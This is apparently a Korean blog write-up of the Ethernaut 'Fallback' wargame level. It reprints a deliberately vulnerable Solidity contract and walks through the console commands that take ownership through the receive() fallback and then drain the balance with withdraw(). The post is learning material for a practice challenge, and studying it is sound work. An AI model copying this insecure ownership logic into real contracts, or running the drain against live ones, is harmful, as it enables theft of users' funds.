Daily
02. Eternaut_두번째. Fallback 본문

Fallback
영어가 많아서 숨막힌다한다면 우리에게는 파파고(https://papago.naver.com/)와 구글번역이 있다.ㅎㅎ
대체 난이도 1/10
아래의 계약 코드를 주의 깊게 살펴보십시오.
다음과 같은 경우 이 레벨을 이길 수 있습니다.
당신은 계약의 소유권을 주장
잔액을 0으로 줄입니다.
도움이 될만한 것들
ABI와 상호 작용할 때 이더를 보내는 방법
ABI 외부에서 이더를 보내는 방법
wei/ether 단위로 변환 및 변환(help() 명령 참조)
대체 방법
문제를 보니 컨트렉트 owner가 되어야 하고 balance를 0으로 줄이라고 하네요 코드를 봅시다
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
코드를 보니 순간 숨이 턱턱 막힙니다.
컨트랙트 배포자가 owner고 1000eth를 가지고 있네요
owner을 제 주소로 만들어 봅시다. 어떻게 해야할까요
천천히 봐봅시다. 음.. 방법은 두가지로 보입니다
첫번째 방법
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
두번째 방법
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
첫번째 방법으로는 할 수 있겠지만 엄청난 시간이 필요해 보입니다.
그럼 두번째 방법으로 해봅시다.
msg.value > 0 && contributions[msg.sender] > 0 두 조건을 해결해야 하네요.
일단 contributions[msg.sender] > 0 요거는 contribute() 함수를 이용해야합니다
왜냐?
contributions[msg.sender] += msg.value; 보시다시피 이런게 있네요ㅎㅎ
contract.contribute.sendTransaction({from:player, value:toWei("0.0001")})
자 이제 보낸봅시다 보낸뒤에 잘 확인해 봅시다. 확인할 수 있는 방법은 이와 같이 볼 수 있어요
1) Number(await contract.contributions("주소 입력")) -> 100000000000000
2) fromWei(await contract.getContribution()) -> 0.001
오호라 처음엔 0이 였는데 잘 들어갔네요
자 다음은 msg.value > 0 을 만들어야 합니다.
msg.value는 뭐 contract주소로 아주 작은 금액을 넣어버리면 됩니다.
두번째 문제인 balance를 0으로 하라고 합니다.
await contract.withdraw() 이제 내가 owner도 되었겠다 실행이 되어 0으로 변화 시켰습니다.
끝!
'Ethernaut이더넛' 카테고리의 다른 글
| 05. Eternaut_다섯번째. Telephone (0) | 2021.08.16 |
|---|---|
| 04. Eternaut_네번째. Coin Flip (1) | 2021.08.16 |
| 03. Eternaut_세번째. Fallout (0) | 2021.08.16 |
| 01. Eternaut_첫번째. Hello Ethernaut (0) | 2021.08.12 |
| 00. Eternaut 소개 (0) | 2021.08.12 |